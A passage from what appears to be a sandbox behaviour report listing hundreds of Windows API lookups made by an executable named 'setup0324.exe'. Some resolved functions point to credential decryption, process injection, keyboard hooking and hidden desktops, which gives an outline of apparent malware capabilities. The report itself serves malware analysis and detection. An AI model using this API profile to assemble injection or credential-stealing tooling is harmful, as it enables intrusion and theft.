api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007480) "systeminfo.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007480)2f:Td94b,"setup0324.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertOpenSystemStoreW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertAddEncodedCertificateToStore (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CryptProtectData (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InternetSetOptionW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnlockFileEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LockFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OutputDebugStringA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsBadReadPtr (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetLogicalDriveStringsW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PeekNamedPipe (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter QueueUserAPC (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateRemoteThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TerminateThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TlsFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter K32GetModuleFileNameExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTempFileNameA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleHandleExA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileAttributesExA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindNextFileA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatus (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UpdateProcThreadAttribute (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetThreadTimes (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsValidCodePage (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetStdHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EnumSystemLocalesW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsValidLocale (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetLocaleInfoW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LCMapStringW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CompareStringW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTimeFormatW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDateFormatW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FileTimeToSystemTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SystemTimeToTzSpecificLocalTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ExitThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VerifyVersionInfoW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetThreadGroupAffinity (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetThreadGroupAffinity (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformationEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumberEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetThreadPriority (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetThreadPriority (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SignalObjectAndWait (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter QueryDepthSList (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InterlockedFlushSList (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InterlockedPushEntrySList (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InterlockedPopEntrySList (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReleaseSemaphore (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FreeLibraryAndExitThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCPInfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitOnceComplete (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitOnceBeginInitialize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetStringTypeW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateHardLinkW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlushViewOfFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MoveFileExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CopyFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeviceIoControl (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileInformationByHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindFirstFileExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapCompact (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter HeapDestroy (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnlockFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LockFileEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FormatMessageA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GlobalUnlock (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetExitCodeThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetStartupInfoW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter QueryDosDeviceW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileSizeEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReadConsoleW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReadConsoleA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ConvertThreadToFiber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ConvertFiberToThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateFiber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DeleteFiber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SwitchToFiber (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter inet_pton (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetWindowsHookA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnhookWindowsHook (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetWindowsHookExW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CallNextHookEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CreateDesktopW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetKeyState (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetDlgItem (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SendMessageA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OpenDesktopW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SetThreadDesktop (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter CloseDesktop (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MoveWindow (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetWindowPlacement (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter DispatchMessageW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter UnhookWindowsHookEx (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter OpenClipboard (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ChildWindowFromPoint (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00004680) "setup0324.exe" called "GetProcAddress" with a 